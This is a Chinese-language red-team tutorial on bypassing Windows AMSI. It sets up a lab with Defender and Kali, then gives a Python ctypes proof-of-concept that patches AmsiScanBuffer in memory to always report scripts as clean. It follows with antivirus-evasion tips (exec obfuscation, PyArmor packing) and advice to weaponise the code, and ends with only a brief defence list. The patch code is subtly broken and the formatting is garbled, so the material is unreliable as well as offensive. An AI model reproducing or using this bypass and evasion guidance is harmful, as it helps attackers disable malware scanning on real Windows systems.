一、AMSI是什么?攻击者为何要绕过它?

Windows反恶意软件扫描接口简析

在现代Windows系统中,AMSI(Anti-Malware Scan Interface)是一道至关重要的安全屏障。它充当着操作系统与安全软件之间的桥梁,负责实时检测并拦截恶意代码,尤其是脚本语言(如PowerShell、VBScript和JavaScript)中的危险行为。无论攻击者如何混淆,脚本执行到内存时都会被AMSI拦截并扫描。这对于红队来说,是一个非常棘手的限制。

黑客示意图

AMSI的工作机制看似简单,但却极具威胁性:

  1. 当脚本语言解释器加载脚本内容时,AMSI会拦截并调用相关API,将脚本的内容发送给系统的杀软。
  2. 杀毒软件扫描后,对恶意代码进行拦截。
  3. 如果脚本被判定为恶意,其执行会被终止,攻击链中断。

对于攻击者来说,绕过AMSI检测是一项技术挑战,也是突破Windows防线的关键一步。接下来,我们将从原理到实战,详细解析如何规避AMSI。

---

黑客示意图

二、构造测试环境:让脚本在受控环境中运行

黑客示意图

为了展示AMSI绕过的实战过程,我们需要一个基础测试环境。以下是构建环境的步骤:

测试环境准备

目标操作系统: Windows 10/11 防护软件: Windows Defender(启用实时保护) 工具列表:

  • PowerShell
  • Python(用于编写绕过工具)
  • Kali Linux(用于网络操作)

环境搭建步骤

  1. 启用Windows Defender
  2. 确保Windows Defender的实时保护功能已开启,以验证AMSI的效果。 <pre><code class="language-bash"> Set-MpPreference -EnableRealtimeMonitoring $true `

  1. 安装Python
  2. 在目标Windows机器上安装Python 3.9+,确保能够运行自定义脚本。

  1. 验证AMSI功能是否正常
  2. 编写一个简单的恶意PowerShell脚本,观察是否会被拦截: `powershell $MaliciousCode = &quot;New-Object IO.FileStream(&#039;C:\Windows\System32\cmd.exe&#039;,&#039;Open&#039;,&#039;Read&#039;)&quot; Invoke-Expression $MaliciousCode ` 如果脚本被拦截,说明AMSI正在发挥作用。

  1. 搭建攻击者机
  2. 在Kali Linux中安装常规攻击工具(如Metasploit、Cobalt Strike等)。这将用于后续远程交互。

黑客示意图

---

三、动态绕过:修改内存中的AMSI行为

攻击思路

AMSI的机制依赖于内存中的一系列函数调用,比如AmsiScanBuffer。攻击者可以通过修改这些函数的行为,使其返回无害结果,从而骗过杀软的检测。

简单地说

  • 我们的目标是让AmsiScanBuffer函数失效。
  • 通过直接修改内存,或利用反射技术,改变函数返回值。

POC代码实现

以下代码使用Python结合ctypes模块,在内存中修改AmsiScanBuffer函数,让它始终返回OK状态。记住,这仅用于学习和研究。 </code></pre>python import ctypes

def bypass_amsi():

定义所有所需的函数、参数和标志位

kernel32 = ctypes.windll.kernel32 amsi_dll = ctypes.windll.LoadLibrary("amsi.dll") amsi_func = amsi_dll.AmsiScanBuffer

使用WinAPI获取AMSI函数的地址

func_addr = kernel32.GetProcAddress(ctypes.windll.kernel32.GetModuleHandleA(b"amsi.dll"), b"AmsiScanBuffer") if not func_addr: print("[x] 无法获取AmsiScanBuffer地址") return False

修改函数内存,将返回值强制设置为允许(0x0定义为OK状态)

patch = ctypes.c_char(b"\x48\x31\xC0\xC3") # ASM: xor rax, rax; ret old_protect = ctypes.c_long() kernel32.VirtualProtect(func_addr, len(patch), 0x40, ctypes.byref(old_protect)) # 0x40 = PAGE_EXECUTE_READWRITE

ctypes.memmove(func_addr, patch, len(patch)) kernel32.VirtualProtect(func_addr, len(patch), old_protect.value, ctypes.byref(old_protect))

print("[+] 成功绕过AMSI") return True

if __name__ == "__main__": bypass_amsi() <pre><code>

注释剖析

  1. 获取函数地址:通过GetProcAddress获取目标函数AmsiScanBuffer的内存地址。
  2. 内存修改:使用VirtualProtect改变内存保护状态,然后写入汇编指令。
  3. 指令解释xor rax, rax将返回值设置为0(表示无威胁),随后立即返回。

---

四、免杀技巧:如何规避杀软的行为监控

即使成功绕过AMSI,杀毒软件仍可能通过行为监控发现异常。以下是一些常用的免杀技巧:

代码混淆

将绕过逻辑拆分为多个模块,通过动态加载降低可识别性。例如:</code></pre>python def dynamic_load(): exec("import ctypes") exec("ctypes.windll.kernel32")

dynamic_load() `

加壳工具

使用工具(如PyArmor)对代码进行加壳,隐藏函数调用。

---

五、攻击者的经验总结

作为攻击者,需要不断创新和学习。以下是个人的实战总结:

  • 动态分析系统行为:通过调试工具(如x64dbg)观察函数调用流程,是绕过的关键。
  • 模块化攻击链设计:将绕过AMSI与后续攻击分离,确保每一步都隐蔽。
  • 武器化工具开发:将POC代码转化为自动化工具,是红队的核心能力。

---

六、如何有效检测与防御?

对于防御者而言,防止AMSI绕过是一项复杂的任务。以下是一些建议:

  • 使用EDR产品:更高级的EDR可以直接检测内存中的修改行为。
  • 加强脚本审计:监控PowerShell运行时的所有操作。
  • 禁用非必要的脚本语言:尤其是在服务器端,减少攻击面。

攻守之道,从来都是一场技术的博弈。希望这篇文章能为各位安全从业者提供一些思路和帮助。